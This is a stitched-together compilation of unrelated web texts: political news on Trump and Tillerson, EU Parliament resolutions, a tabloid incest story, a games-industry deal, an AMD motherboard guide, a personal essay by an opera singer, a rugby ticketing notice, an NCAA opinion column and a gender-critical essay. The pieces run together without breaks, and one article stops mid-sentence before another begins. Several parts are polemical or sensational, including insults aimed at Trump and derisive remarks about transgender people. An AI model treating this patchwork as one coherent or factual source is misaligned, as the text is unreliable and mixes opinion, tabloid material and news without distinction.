“What I will do is tell you that in the context of that discussion, what the president discussed with the foreign minister is wholly appropriate in that conversation,” McMaster said.
Meanwhile, a day after Trump delivered a major policy speech in Saudi Arabia before more than 40 Muslim leaders in which he used a softer tone about the religion, those countries and extremism, Tillerson explained the new message.
“The president is increasing his own perspectives,” Tillerson said. “Nothing helps you learn and understand people better than coming to their homes, where they live and seeing them face to face, seeing their families, and seeing their communities, finding out we all share the same wants and desires for ourselves and our people, and our families: peace, prosperity, we want our children to grow up without fear.
“That’s such a strongly held view around the world, certainly among the Muslim world certainly among the non-Muslim world,” Tillerson said.
[What to Watch for During Trump’s First Global Outing (VIDEO)]
More than 15 years after the Sept. 11 attacks, Tillerson said of the U.S. and Muslim world: “We need to put a lot more effort into understanding one another better, understanding each other’s cultures, understanding each other’s beliefs, and I think talking more openly about those. I think there’s a great deal that’s misunderstood about the Muslim world — by Americans and the Western world.”
The statement and Trump’s speech, collectively a big shift from his sharp criticisms of the Islamic world during the presidential campaign, puts the Trump administration in line with the Obama administration, and, to a lesser extent, the George W. Bush administration.
Speaking alongside Israeli President Reuven Rivlin in Jerusalem on Monday, Trump said one major takeaway during a U.S.-Arab summit in Saudi Arabia over the weekend was Muslim countries moving toward the Jewish state in a collective move to counter Iran.
The day before he criticized Iran for causing much of the instability in the region.
“But no discussion of stamping out this [terrorism] threat would be complete without mentioning the government that gives terrorists all three — safe harbor, financial backing, and the social standing needed for recruitment,” Trump said Sunday. “It is a regime that is responsible for so much instability in the region. I am speaking of course of Iran.”
He criticized Tehran for helping Syrian President Bashar al-Assad in his bloody civil conflict, saying Iran’s “most tragic and destabilizing interventions have been in Syria.”
“Until the Iranian regime is willing to be a partner for peace,” Trump said, “all nations of conscience must work together to isolate Iran, deny it funding for terrorism, and pray for the day when the Iranian people have the just and righteous government they deserve.”
But in the Trump administration’s latest contradiction between top officials, Tillerson told reporters that he would be willing to talk to his Iranian counterpart if conditions were right.Violence against the Guarani-Kaiowá in the Brazilian State of Mato Grosso do Sul
MEPs condemn recent violence perpetrated against the Guarani-Kaiowá people during land disputes in the Brazilian state of Mato Grosso do Sul and urge the Brazilian government to conduct rapid investigations into the recent swathe of murders and assaults there. They further deplore the poverty and human rights situation of the Guarani-Kaiowá, of whom 42% suffer from chronic malnutrition, according to recent research.
MEPs understand that the Guarani-Kaiowá are in need of special protection in light of threats to their ancestral territory, and urge Brazilian authorities to “prioritise completion of the demarcation of all territories claimed by the Guarani-Kaiowá” in order to prevent any more territorial disputes and killings. MEPs also note that the Guarani-Kaiowá face inadequate provision of healthcare, education and social services, with high numbers of suicides among young people and very high rates of chronic malnutrition among children (26%) compared with non-indigenous children (5.9%).
Commending the Brazilian government for several recent advances it has made in securing indigenous rights, MEPs remind the Brazilian government of its international human rights obligations and stress that the rights of indigenous peoples must be protected, respected and upheld as per the country’s Constitution.
The ongoing detention of Mr Minhai Gui, jailed publisher in China
The European Parliament expresses grave concern over the lack of knowledge of the whereabouts of publisher and Swedish citizen Mr Minhai Gui, who disappeared last year amid a climate of tightening restrictions on freedom of expression in China. They call for Mr Gui’s “immediate safe release” and condemn restrictions on and the criminalisation of freedom of expression in the country.
The Chinese government should provide immediate and detailed information on Mr Gui’s whereabouts and wellbeing, the resolution text says. MEPs stress the importance of a “mature, meaningful and open human rights dialogue” to a strong EU-China relationship and call on China to release or drop all charges against peaceful government critics, anti-corruption activists, lawyers, and journalists.
Parliament also expresses concern over allegations that mainland China’s law enforcement agencies are operating in Hong Kong, pointing out that this would be inconsistent with the “one country, two systems” principle.
The alleged torture and imprisonment of Ildar Dadin, prisoner of conscience in Russia
MEPs express serious concern about the welfare of Mr Ildar Dadin, an activist who is currently serving two and a half years in prison in Russia for taking part in a series of street protests. Parliament calls on the Russian authorities to immediately and unconditionally release Mr Dadin and “all those detailed on false or unsubstantiated charges or for using their right to freedom of expression and assembly”.
Parliament also stresses the need for a thorough and transparent independent investigation after Mr Dadin’s recent allegations of torture inside the prison. MEPs are gravely concerned by credible human rights reports that indicate that Mr Dadin’s is not an isolated case, and that “point to the systematic use of torture, ill-treatment and inhumane treatment in the Russian penal system” with impunity.
Russia is reminded by MEPs of the importance of its “full compliance” with its international legal obligations as per its membership of the Council of Europe and other such organisations. “Targeted sanctions” are necessary “to punish those responsible” for the mistreatment of Mr Dadin and the European Council must develop a unified policy towards Russia “that commits the 28 EU Member States and the EU institutions to a strong common message concerning the role of human rights in the EU-Russia relationship”, MEPs say.
Procedure: Non-legislative resolutions• "I disagree with the court in that it should have been a states' rights issue," Trump told Fox News.
• He has previously voiced support of "traditional" marriage, despite his multiple divorces.
Marriage equality might be at risk if Donald Trump is elected president.
"It has been ruled upon. It has been there. If I’m elected I would be very strong in putting certain judges on the bench that I think maybe could change things, but they have a long way to go," the GOP candidate said on "Fox News Sunday." Adding: "I disagree with the court in that it should have been a states' rights issue... This was a very surprising ruling. I can see changes coming down the line."
When pressed further about whether he would appoint judges to overrule the Supreme Court's June decision that made same-sex marriage across the nation, Trump responded: "I would strongly consider that, yes." Watch the full interview below:
While Ted Cruz might have tried to chastise him for his "New York values" of being "socially liberal or pro-abortion or pro-gay-marriage, focused around money and the media," Trump has never publicly supported marriage equality, as the Advocate outlined last month.
Rather, the wannabe politician, who has been married multiple times, has said he is for "traditional marriage."
"He was for traditional marriage, despite the fact that he'd been married three times," George Takei said last year. "That is not traditional. I approve of his three-time marriage because you want to find the person that you love. But the important thing here is to understand that our democracy is a dynamic democracy, and our Constitution is a living document -- it's not carved in stone. Over the years, the whole arc of our democracy has been to adjust to the times, to expand equality to more and more people."
Donald Trump is a serial liar, rampant xenophobe, racist, misogynist, birther and bully who has repeatedly pledged to ban all Muslims -- 1.6 billion members of an entire religion -- from entering the U.S.
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A mother reunited with the son she gave up for adoption 30 years ago says now they’re in love - and trying for a baby together.
Kim West, 51, has been in a relationship with her biological son Ben Ford, 32, for two years and believe they are ‘meant to be’ after she was forced to give him up for adoption just a week after he was born.
But the couple, who say their sex life is ‘incredible’ and are planning to get married, insist their relationship is not incest, the New Day reports.
Instead they claim it is ‘Genetic Sexual Attraction’, a term used for relatives who feel sexual attraction for each other after meeting as adults.
The couple were brought together after Ben, who was living in the US, sent his England-born mum a letter out of the blue in 2013.
Read more: Wife of man marrying his mother called her'mummy girlfriend'
Two years before Ben had married his wife Victoria, who he later split up with to be in a relationship with his mum.
Read more: Daughter meets father for the first time after tracking him down but is then raped by him
The pair began exchanging phone calls before agreeing to meet up, Kim saying it was like they had ‘known each other for years’.
Interior designer Kim started to realise her attraction to her son and found herself having'sexy dreams' about him.
Feeling confused about the attraction, Kim decided to look it up on the internet and came across an article on Genetic Sexual Attraction (GSA), and felt like a weight had lifted.
The pair agreed to meet at a hotel where they ordered alcohol and after a bottle of champagne shared their first kiss.
Read more: Father and daughter in incestuous relationship demand right to bring up baby girl
Ben told her he felt relieved and that he had stopped having feelings for his wife before the pair went on to have sex a number of times.
Three days later Ben told a disgusted Victoria he was leaving her for his mum and the couple flew to Michigan, where they had help from another GSA couple in setting up a new life.
Kim told the New Day sex with Ben was "incredible and mind-blowing".
She said: "This is not incest, it is GSA. We are like peas in a pod and meant to be together.
"I know people will say we're disgusting, that we should be able to control our feelings, but when you're hit by a love so consuming you are willing to give up everything for it, you have to fight for it.
"It's a once in a lifetime chance and something Ben and I are not willing to walk away from."Supercell has acquired a 51 percent stake in fellow Finnish mobile game developer Frogmind, the creator of the Badland series of mobile games. Supercell paid 7 million euros, or $7.8 million, for its stake.
Image Credit: Dean Takahashi
Frogmind cofounder Johannes Vuorinen described the deal as a long-term partnership with Supercell, a fellow Helsinki-based company that has produced enormous mobile game hits such as Clash Royale and Clash of Clans. China’s Tencent acquired an 84 percent stake in Supercell earlier this year at a $10.2 billion valuation.
The deal is the first sign that Supercell intends to diversify beyond its own games by making investments in other mobile game companies. To date, Supercell has been ultra-disciplined by focusing on making hit games with very small teams. In some ways, it’s an enormous compliment that Supercell is sparing some of its cycles to partner with Frogmind, which could be viewed as a distraction for Supercell.
Frogmind was founded in 2012 by Vuorinen and Juhana Myllys with the simple goal of building the best games. In April 2013, the company launched its first title, Badland, which was built by two people and became a huge hit.
“With Badland’s success, we decided to start growing our independent studio so that we could do more things at once,” Vuorinen said in a blog post. ” We grew slowly as we hired only the top talent. We wanted our team to consist of people who can work independently, and we wanted to keep a flat hierarchy.”
Then the company launched premium title Badland 2 during the holiday season of 2015. Both Badland games have been downloaded more than 45 million times. Frogmind also started exploring the free-to-play business model. The company spent about 18 months building and killing prototypes before it came upon something good. Three free-to-play games are now in production, and presumably Supercell will help the company launch them next year.
Image Credit: Frogmind
Supercell followed Frogmind’s progress and liked the upcoming games.
“Our goal at Supercell is to make great games that are played for years and years by millions of people, games that become part of the rich history of games,” CEO Ilkka Paananen said in an email. “We try to get there by forming small teams we call “cells”, and providing these cells the complete independence and responsibility to work on their game – one way to describe these cells would be to think them as small companies inside the greater company. This pretty unique organizational model has worked well for us over the years, but at the same time we know that not everyone is in a position to work for us.
“So, we’ve been thinking whether there would be ways for us to enable also other game developers to make a bigger impact by using this philosophy, but outside the existing Supercell teams. Frogmind is a very well respected developer with a fantastic team and a terrific track record of producing great games for mobile. As part of the Helsinki developer scene, we’ve known them for years and are big fans of their team and their passion for quality. We also love the games they’ve developed so far, and are very excited about the games on their roadmap. So we’re excited to be their new partner.”
Vuorinen said of Supercell, “We have the utmost respect for them and their gameplay, production values, and elegance in solving difficult design challenges. Partnering with the world’s top mobile developer, we can get help and information no one else knows better. And with Supercell’s backing, we can think much more long-term and be more ambitious with our games than ever. This is an ideal partnership that will greatly benefit our future games and players.”
Paananen said the partnership is about giving Frogmind the resources it needs to keep making great games.
Frogmind will operate independently in the same way that Supercell has operated independently under SoftBank (and now Tencent).
As for the structure of the deal, Vuorinen said, “This structure lets us put our full focus on making the best possible games and operate with a long-term perspective without having to worry about financing for a long time. We get to be more ambitious with our games while maintaining a great upside and incentive in the 49 percent. We think of this more as a partnership than an acquisition as we continue to operate independently, publish our own games and feel strong ownership and control of our own destiny. The deal structure is very similar to Supercell’s SoftBank deal, which was a good experience for them and we really like the model as well.”
Frogmind has 12 employees, and Vuorinen said the company will continue to publish its games as it wishes. Paananen said that Supercell will remain a developer, not a publisher. It will offer advice to Frogmind.
“We’ll be able to focus fully onto our games, worry less about finances, and continue being an awesome place to work for our employees,” Vuorinen said. “Supercell also understands our culture and the way we make games. It’s actually very similar to theirs, having small talented independent teams with no middle management aiming to make the best games in the world.”
Vuorinen said the new games are being developed by small teams with three to five people each. Vuorinen said he was grateful for all those who helped the company, as well as to the Finnish game scene and Tekes, the Finnish government’s funding agency.
As for why Supercell is making its first outside investment, Paananen said, “As I said, we’ve been thinking for a while about ways in which we can enable the best talent to make the best games when they aren’t in a position to come and work for us. Over the years, we have talked with a number of teams but Frogmind was the first one that just felt perfect for us. They share the same passion for quality that we do, and are fans of small teams as well. In fact, their teams are even smaller than ours.”
He also said that while Supercell’s roots are in Finland, the company’s ambitions are “very much global.”
He said, “And while we definitely want to support other studios and teams in Finland, it’s not limited to Finland in any |
270 equivalent, the ROG Maximus IX Hero for $230. However, that $20 price difference turns into around R800, as the Maximus IX Hero retails for around R4,600. It’s possible that the Crosshair VI will drop in price after launch due to high demand, but I think that this may be a turning point for high-end AMD motherboards no longer being cheaper than their Intel counterparts. That’s not to mention the absurd price of the X370 Titanium, at R6,300. It should be cheaper than the Z270 Titanium, which is priced similarly.
This strange balancing act sees a reversal with the MSI X370 Gaming Pro Carbon. The nearly identical Z270 variant has a lot more components on it, many more traces in the board, and so on. But somehow, it’s R700 cheaper, and comes bundled with a For Honor key. That doesn’t mean that Kaby Lake is a better deal – core for core, it really isn’t – but it is a bit bemusing.
If we’re looking for a value-orientated offering, ASRock has you covered with the X370 Gaming K4. It is nearly identical to the X370 Killer SLI, but has the added benefit of an on-board port 80 debug LED, which can help you in situations where you need to troubleshoot a boot issue. In addition, it looks like ASRock may have copied a feature from MSI by putting the DDR4 slots behind a small plastic island to reduce interference. Whether that helps or not still needs some testing, but this looks like a solid mid-range board to power some mild overclocks.
Bringing up the rear are the cheaper B350 and A320 motherboards. The B350 chipset still retains the ability to overclock the processor, however you won’t see figures as high as you would on a well-made X370 motherboard with better power management. These boards are mainly for powering the non-X Ryzen processors, and include enough high-end features to make buyers feel like they’re getting their money’s worth from their purchase. If you’re looking for a value buy, consider the ASUS Prime B350-A. It’s the only board that features a full-sized M.2 slot connected directly to the CPU for less than R2,000, and it doesn’t have legacy PCI slots taking up space and gathering dust.
The A320 chipset is fairly barebones, and these motherboards, like MSI’s A320 Pro-VD have no frills whatsoever. It’s not even graced with a M.2 slot, and somehow that makes the price of R1,499 feel a bit much for what’s on offer. MSI’s B250M Pro-VDH ships with a reinforced PCIe slot, four RAM slots and one M.2 slot, while the ASUS B150M Pro Gaming ships with two extra SATA ports, four RAM slots, an M.2 port, a better power phase set up (4+2 instead of 3+2), and higher-end integrated audio. I think that the A320 family needs a bit more oomph than it has currently to make anyone want to buy it, especially because supported memory speeds are limited to 2133MH.
There’s also one issue that AMD might have with the A320 family, in that it shares a name with the A320 chipset that launched with the FM2 platform, for the Llano and Trinity APUs. I don’t think a lot of people are going to buy the wrong board, mind, but those products are still out there. Luckily the sockets are completely different sizes.
Supported AM4 coolers
Something else that I wanted to touch on before the launch was cooler compatibility. As of today, if you have a cooler that makes use of AMD’s standard retention clip design, then you’re going to be covered when you get your new motherboard. While the mounting holes are different, the length of the bracket is the same. For other mechanisms and designs, you’ll need to purchase or order a new backplate. The exception to this rule is the ASUS Crosshair VI, which has socket AM3+/FM2+ mounting holes drilled into the board to allow you to use any older LN2 pot, air or water cooler from your previous machine. ASUS actually expects that most people won’t be using stock cooling with their board, and considering the asking price I’m inclined to agree.
At launch, the first-generation Corsair H110i, H100, and H60 all have brackets that support the AM4 mounting holes. The second generation of these products changed their bracket design, and thus they are no longer compatible. MSI’s upcoming Core Frozr L, the company’s first third-party cooler, is also AM4 compatible, and I’ve personally wanted one for a while.
For the other brands out there, a lot of their mounting systems are generic enough that the AM4 mounting holes are supported. It’s possible that AMD had the specifications for the socket available long before Zen as an architecture was signed off, so many existing coolers will work just fine. If you want to look for yourself, click the link for the brand of cooler you’re currently using to see what their AM4 compatibility situation is.
And that’s it! You’re all set to start soul-searching and figuring out how much hurt your bank balance can handle. AMD’s Ryzen 7 processors and motherboards launch on 2 March 2017, with the Ryzen 5 family following soon after, and Ryzen 3 in 2H 2017.TripAdvisor app has been updated and is now a universal app for Windows 10. TripAdvisor joins the ranks of Uber, Fenice, Kobo Ebooks, and Figure, who all recently joined the Universal Windows 10 app bandwagon. The app is free and you can download it from the link below. Here’s the official app description for those who have never heard of TripAdvisor:
“Millions of traveller reviews, photos and maps from TripAdvisor. Book your best trip, every trip. With over 250 million reviews and opinions, from travellers all around the world, TripAdvisor makes it easy to find the lowest airfare, the best hotels, great restaurants and fun things to do, wherever you go. And booking options for hotels, restaurants and flights are just a tap away,” the app description reads.
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Further reading: TripAdvisorBy Emily Mahon
Got Grit?
Years before I even knew what opera was, my 4th grade teacher, Miss Smith gave me the “True Grit Award.” I’m not sure if it was because I was caught punching a girl in the locker room for insulting my less than popular friend, or whether it was because I led a mini-feminist revolution in my gym class against my openly misogynistic gym teacher who insisted that during Thursday free-play girls HAD to sit on the bleachers and play with their dolls while the boys got to play basketball. “No exceptions, Emily. It’s not ladylike to play with the boys.” I revolted and forced him to open free play time up for girls too.
Living in Texas at the time, I had heard the term “True Grit” thrown around a lot in positive tones, so I took my award as a real compliment. Recently, Angela Lee Duckworth gave a TED talk where she claims that “Grit” is the key to success. According to Angela: “Grit is passion and perseverance for very long-term goals. Grit is having stamina. Grit is sticking with your future, day in, day out, not just for the week, not just for the month, but for years, and working really hard to make that future a reality. Grit is living life like it’s a marathon, not a sprint.”
Well, heck. Thanks, Miss Smith!
Anyway, by the time I was in 10th grade, my mom made me make a hard choice: “You can be on the basketball team or sing in the choir. But not both. It’s up to you.”
I Chose Choir
I chose choir. Don’t get me wrong. It was the HARDEST DECISION I may have ever made in my ENTIRE life. I loved basketball and was really good at it; Scholarship good. I was also really good at music and loved to sing. I made the choice because music looked to me as though it would provide more long term payback for all my hard work than basketball would. Not sure how I knew this at 14 but it seemed to make sense. So, I went full in. I took weekly voice lessons, practiced every day, sang every chance I could in every genre that I could; country, jazz, classical, folk, whatever my voice could handle and felt good to me at the time. I won singing and piano competitions and developed into quite the little musician.
The Operatic Voice!
My voice was pretty good going into college. Good enough to get some partial scholarships and land me a few choice roles in the Opera Workshop productions at school. It was agile and had a crazy range that placed me firmly in the coloratura vocal fach. Maybe someday I would be able to sing Mozart’s Queen of the Night, but probably more likely that I’d stay in the light-French or at most, lyric coloratura categorizations at least till my 30’s. I was a good musician, making a 4.0 across the board and nailing my Italian, German, and French pronunciation and could sight-read like a pro. I LOVED to practice and really enjoyed the research portion of my recitals, providing lots of interesting tidbits about each of the songs in my program notes.
By my third year, my voice had grown enough to have the privilege of representing the vocal department and competing against all of the instrumentalists in a school-wide competition that came with a scholarship covering tuition for senior year. I won it singing a nice, and I emphasize “nice” as it wasn’t anywhere near flawless, performance of the “Bell Song” from Delibe’s opera, The vocal acrobatics wowed the judges and as the first vocalist in 35 years to receive this honor, the win also made me an instant enemy of the instrumentalist for the rest of my college career. (Singers apparently aren’t supposed to win those types of things just like, I guess, girls aren’t supposed to play with boys in elementary school.)
Anyway, I graduated with a slightly big head and moved back to Texas where I landed a tiny role in the regional production of Pirates of Penzance. I also got cast as Gilda in the same company’s production of Verdi’s Rigoletto the following year. It was at that point, that I started to question if this was the right path for me; If this was really what I wanted. I started to wonder if I should go back to school for my Master’s degree, knowing full well that I couldn’t afford it in my current financial state. Or maybe I could just keep moving forward, auditioning and building up my career through regional opera and young artists programs working my way up the ladder with sheer will-power, talent and…grit. So, I reached out to the internet for help and landed here: Laura Claycomb’s Young Artist Corner.
My Opera Idol
Laura soon became my newest obsession. Reading all the advice and wisdom she was sharing was thrilling! This was someone who knew what they were talking about and she was the first one to offer a road map that didn’t include grad school. It would take courage, creativity, perseverance, stamina, resilience and endurance. All gritty qualities I was sure I had in bulk. I had an option and it looked like a valid one! I printed out all of her articles and put them in my music folder to read between practice sessions. I found her email address and wrote her thanking her for all of her advice. I also sent her a CD of my voice and asked if she could give me some pointers or maybe let me know if she thought I might have the chops to actually make it in opera.
That December, I found myself getting out of a cab with my suitcase at the front entrance to the Houston Grand Opera and meeting Laura Claycomb face to face ready to spend a week on her couch learning and soaking in all it meant to be a real opera singer. She was wonderful! I remember walking on the grounds of the Opera House crunching the fall leaves underfoot and talking about how much nicer and cooler Houston was than I had remembered from one previous, August trip in my childhood. I sang for her in the practice rooms and she complimented my voice and shared her secrets for the beautiful top spin in her high notes. We talked about breathing techniques and I spent an hour sitting on the floor in the hall, outside of the closed rehearsal, practicing breathing like she taught me.
I remember going to dinner at a really nice restaurant. We shared some wine and walked back to the one bedroom condo HGO was housing her in for the duration of her contract in Houston. She told me all about her home in Belgium where her boyfriend lived and how often she’s away. I remember every night after rehearsal, in the little one room condo, sitting on the couch writing down my thoughts from the day and her sitting on her bed on the computer answering emails, working on her website, or talking to her agent or something else, constantly staying busy.
We watched the news one night and had a heated political discussion ending with me learning a whole new global perspective on politics. She introduced me to Orange flavored Emergen-C, which she drank every morning and we discussed the importance of a healthy life style for singers as their entire career hinges on their body working together just right. Then it was over. An old friend of mine picked me up from the condo and drove me to the airport and I flew back home.
Why Do You Sing?
The path seemed doable, a little lonely, a little harsh, but I could handle those elements. I’ve never minded being alone, heck, I had “grit!” but a question Laura asked me kept nagging me. “Why do you sing?” Well… I …um…I’m good at it and…um…I like…The truth was that I didn’t have an answer to her question compelling enough to give up the other things I wanted in life. I learned a lot from that visit to Houston. I learned that I, personally, Emily Mahon, needed more time to grow up before I chose an all-consuming career path that I was currently on because it seemed like what I was supposed to do after getting a vocal performance degree. I needed to explore my other, arts and music- related, very marketable and equally interesting skills and see what other paths I might take in my pursuit of happiness. I learned that no matter how much I persevered or how hard I worked, being an opera singer might not be MY answer. I ended up cancelling my role as Gilda, but giving up that role didn’t mean I gave up on singing or I that I have to hand back my True Grit Award to Miss Smith in shame.
So here is my “True Confession”
I love to sing. I still sing as often as I can.
I love how the high notes vibrate in my head when I place them just right.
I love the feeling of singing a perfect line of legato.
I love singing arias in German and Italian and how the languages feel in my mouth.
I love listening to good singers.
I love singing in great choruses surrounded by beautiful harmonies and choral synergy. (I even get a little jealous of some of those soloists and opera stars sometimes.)
BUT, I also love my family.
I love seeing my family every day.
I really love having a reliable source of income every month.
I love being able to go to a parade or a rock concert or a loud bar, let loose and yell to be heard and then waking up in the morning horse and not freaking out about whether my voice will heal in time for an upcoming performance.
I love singing jazz and old standards and not placing my voice just so and letting my voice rip and scratch through an emotional folk-ballad.
I realized that I didn’t love opera enough to let go of the OTHER things that I love. I’m still “working really hard to make my [that] future a reality.” I just realized that the future I was really wanting didn’t HAVE to involve an actual “opera career”. I love how I can apply what I learned in choir and music school AND basketball to what I do in my work now and how it applied to how I interact with my family and broader community. Nothing has been lost or a waste of time because I shifted away from something I thought I wanted. I love that I continue to apply all of that 4th grade grit to everything I do.
Grit is only one of many keys to success. I don’t make millions (yet), I haven’t sung at the Met or La Scala but I’m successful, because I have chosen how to define my success, and I will continue to be successful as long as I’m honest with myself about what I truly want out of life. I’ve learned to use all my talents – heart, mind and voice – and apply them to the many new and exciting opportunities that my work and family present me with day in and day out. And for me, THAT is what makes me sing.
Author Emily Mahon graduated from Duquesne University in Pittsburgh, PA with a Bachelor of Music, in Vocal Performance and has sung in regional operas and musical theatre productions, jazz ensembles and professional choirs in Pennsylvania, Texas and California at venues such as the Walt Disney Concert Hall and the Hollywood Bowl. She currently manages teaching artist residency programs for K-12 schools across LA County for The Music Center, and volunteers as President of Museum Educators of Southern California all while raising two adorable children along with her husband in the suburbs of Los Angeles.Firstly I did not forget the tail, just looks really crap red and quite off pointing, so please no comments about the tail.Secondly this is the first and last time I will have a background for my artwork. As backgrounds are not my thing, I asked Bejitsu to make it for me as I loved the two he made for his Goku and Vegeta SSJ God. So why the background then, I felt it was one of the important details to make the SSJ God form stand out from other forms as there is not much original about the form itself.Now I had no plans at first to make the SSJ God form (well at least not until I see the movie) but as more and more artworks came out and some really good ones in fact, I then change my mind. That said I had only seen Goku artworks of course and one Vegeta artwork done in that form, not considering a few average edits of a few other characters, if you search deep with in DA. So it crossed my mind the idea of Bardock being in this form and being a fan of him and also being my favorite character to work with besides Future Trunks, I just could not resist not to make him in the God form. Now the head is based of the youngjijii design, which some of you my know and I made him in the same stance as well, as it suit the image well and personal just love the over all look of it. So yeah, I can't wait to see the movie. I'll jump at the first optionality to see it and I hope it will be worth the it, fingers crossed anyway.Bardock SSJ God with Grey background [link] Background made by Bardock Gallery [link] Please fav comment and click to enlarge.Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Wasps are set for their biggest crowd of the season at the Ricoh Arena on Saturday when they host Exeter Chiefs in their European Champions Cup quarter final.
The previous highest this season was 24,053 against Saracens over the Christmas period last while they managed 20,050 for Toulon's visit to the Ricoh Arena in November.
Wasps’ deputy chairman Nick Eastwood said: “We are expecting our largest crowd of the season at the Ricoh Arena this Saturday to watch this winner-takes-all match, in rugby’s equivalent to the Champions League.
“This is knockout rugby at the highest level you get in the club game, with a place in the last four in Europe on the line. We are already expecting around 25,000 at the Ricoh Arena and would encourage sports fans to book online as the quickest and easiest way to purchase tickets.”
Prices for the match start from £16 and all supporters must have paper tickets.
They can be purchased online here or you can you can call 02476 786 411 or visit the Ricoh Arena Ticket Office in person between 9am and 6pm Monday to Friday.I’m going to try to explain this in the clearest way possible, beginning with the most obvious statement of all.
The NCAA is the worst organization in the history of sports.
This multi-billion dollar, tax-exempt organizing body of collegiate sports; this watchdog of all things pure and amateur, is in the middle of the fight of its life in both the courtroom and public perception. So what does it do?
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It hires West Virginia athletic director Oliver Luck in December to be No. 2 in charge behind beleaguered president Mark Emmert. Two months later, the NCAA places West Virginia University on two years probation for violations that occurred from 2010 to 2013 in 14 of its 18 sports.
Guess whose job, as athletic director at WVU, it was to oversee those sports from 2010-2013?
Guess who had been investigating WVU for months, knowing full well Luck was the athletic director at the very time NCAA violations had taken place?
Guess who then hired Luck to be its — are you ready for this? — regulatory executive vice president (a fancy title for top cop)?
I ask you, who gets it more than the NCAA?
"How do you talk your way out of this one?" one Power 5 athletic director told me Thursday morning. "The optics of it are so damaging."
Like that's anything new.
This is the same organization that can’t get out of its own way in court in any number of lawsuits, ongoing or pending. The same organization that had a North Carolina alum — a former student-athlete at UNC, no less — work the investigation into the biggest academic fraud case in the history of college sports, one that was botched so badly, the NCAA is now deep into Round 2 of the investigation.
The same organization that was forced — by threat of lawsuits and the reality that they’re going to lose multiple lawsuits — to completely revamp the way it treats athletes, from stipends to concussion protocols to lifetime scholarships to doing everything it possibly can to share the least amount of billions of dollars in television revenue.
The same organization that decided it would overstep its bounds and gut the Penn State program for a horrific crime against humanity perpetrated by a former coach, then over the next few years do everything it could to make it all right — with the lone exception of admitting it was wrong in the first place.
The same organization that gave Luck that fancy title, and then declared it was a new position overseeing academic and membership affairs, and eligibility and enforcement.
Basically what the NCAA did with the hire of Luck was tell Emmert, who has brought more shame and embarrassment on the NCAA than all previous presidents combined, to go sit in the corner and play with his Legos. The big boy will take over now and do the job Emmert should have been doing all along.
Except there’s this teensy-weensy issue: the big boy oversaw an athletic program that did the very thing he now has been charged to uphold.
For those who think I’m making too big a deal out of impermissible phone calls and texts to potential student athletes, consider this: these violations occurred while WVU was already on probation for a previous infractions case involving out-of-season coaching and the use of non-coaching staff to work with players.
In other words, trying to gain a competitive advantage.
So Luck ran a program that knew it was on probation, and knew it could ill-afford to take another wrong step — then did so. In 14 different sports.
And how did the NCAA respond, you ask? By placing WVU on double-secret probation.
I’m gonna puke.
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By all accounts, Luck has been a sharp, proactive administrator everywhere he has been, from his time as a general manager in NFL Europe to CEO of the Houston Sports Authority to his work with the MLS.
When the NCAA hired him late last year, my initial thought was this might be the perfect guy to get the house in order. With his background, he might be the one guy who could convince whoever is making critical decisions to dig in legally against athletes, to cut your losses and find a workable middle ground.
The one guy who could step in and save an organization with good intentions and an unshakeable mission statement from eating itself alive, despite the spectacularly horrible decision-making of years past.
The one guy who could look around the room and declare that yes, a street agent who got $25,000 for bogus recruiting information most certainly steered players to the school that paid him cash.
The one guy who could look around the room and declare that yes, a father shopped his son to the highest bidder — and yes, the son isn’t playing anymore.
The one guy who could look around the room and declare that yes, a university in the middle of an investigation that already took its beloved coach, had players accepting cash in envelopes four months after the previous separate investigation began — and that, unequivocally, is the definition of lack of institutional control.
Instead, the new top cop is caught up in a do as I say not as I do moment less than two months into his job.
I ask you, who gets it more than the NCAA?If there is one thing that transgender people enjoy more than fighting with feminists, it’s fighting with each other. Aside from the ‘out group’ that comprises those of us who are secure enough to be able to publicly acknowledge that ‘trans women’ are male (or if that’s not enough apostasy for you, to openly acknowledge that ‘trans women’ are men) there is another group who are reviled, known as the ‘transtrender’.
Transgender/transtrender is a false distinction that this has been artificially created within transgenderism to result in an in/out group position that exists in order for one group to claim validity. Individuals who are nominally claimed to be allies to transgender people are being instrumentalised in reinforcing this distinction. I have significant concerns over the negative impact of this strategy.
The transtrender is defined at the Urban Dictionary as:
a person who identifies as male or female but does not experience any gender dysphoria. It can also mean someone who identifies as male or female because they think it’s trendy/cool.
Note my emphasis, of the terms that are used to differentiate the ‘transtrender’ from ‘transgender’, effectively creating a claim to the validity of one over the other. Other definitions volunteered on the same page seek to emphasise this claimed difference, for example:
Theoretically, they should be easy to criticise because what they do trivialises the struggles of people who are actually transgender.
and this:
Transtrenders are incredibly disrespectful to real transgender people, making a mockery of what transgender people experience, invalidating the problems and hurt that real transgender people face, and turning these people’s identity into a fashion trend.
and this, which appears to have been written without any sense of irony whatsoever, given that the battle by men to claim ‘woman’ has now widened to ‘female’:
A person who adopts or appropriates the transgender label or identity, for political reasons.
The latter statements, which use the terms ‘trivialises’, ‘mockery’ and ‘appropriates’, tread that fine line that sometimes exists between utterly fucking hilarious and outright offensive; these little jewels are are indicative of the irony-free way that transgender people criticise those they perceive as ‘trenders in order to create a hierarchy of validity.
They do this seemingly oblivious to how hypocritical this makes them as members of a cultural movement that tells women, who have had a lifetime of the experience of being women, that their experiences as women are equal to those of men who have spent years reaping the privileges of being a man in a man’s world yet have now decided to become their ‘true self’.
Of course, this essay is not about the Urban Dictionary; these examples are here because they reflect what happens in the real world, ‘transtrenders’ are the whipping boys of the transgender community, a community whose umbrella is drawn so wide it is probably easier to work out who isn’t under the umbrella rather than who is. The inclusion of intersex hopelessly conflates the material reality of those conditions with the human made cultural construct of gender. Including Hijra, drag and eunuchs completely rewrites any cultural basis for the existence of these categories and is just another case of (mainly white, male) transgender culture musceling in on and opportunistically claiming any cultural practices that suit its purpose.
To suggest any feminine man or masculine woman is transgender really is an ambitious reach and doesn’t itself give anyone very far to deviate in behaviour or preferences without becoming ‘part of the club’: if we are going to ‘trans’ anyone who contravenes any aspect of societiety’s expectations of what it is to be a woman or a man, to paraphrase an immortal line: we are gonna need a bigger umbrella. And this is exactly what the transgender community have done in its need to be inclusive and celebrate the diversity of everything (except, of course, diversity of opinion) they have gone and shot themselves in the foot: in its need to acquire more and more political power, transgender activists have done to ‘transgender’ exactly what they do with every other word they attempt to seize control of, they have completely emptied this word of any meaning.
YouTuber Magdalen Berns makes some excellent points about this false distinction in this video, which itself distinguishes between transsexuals and transgender individuals, noting that transsexual involves dysphoria, drug therapy and, ultimately surgery: there is a real, material component to (post surgical) transsexualism.
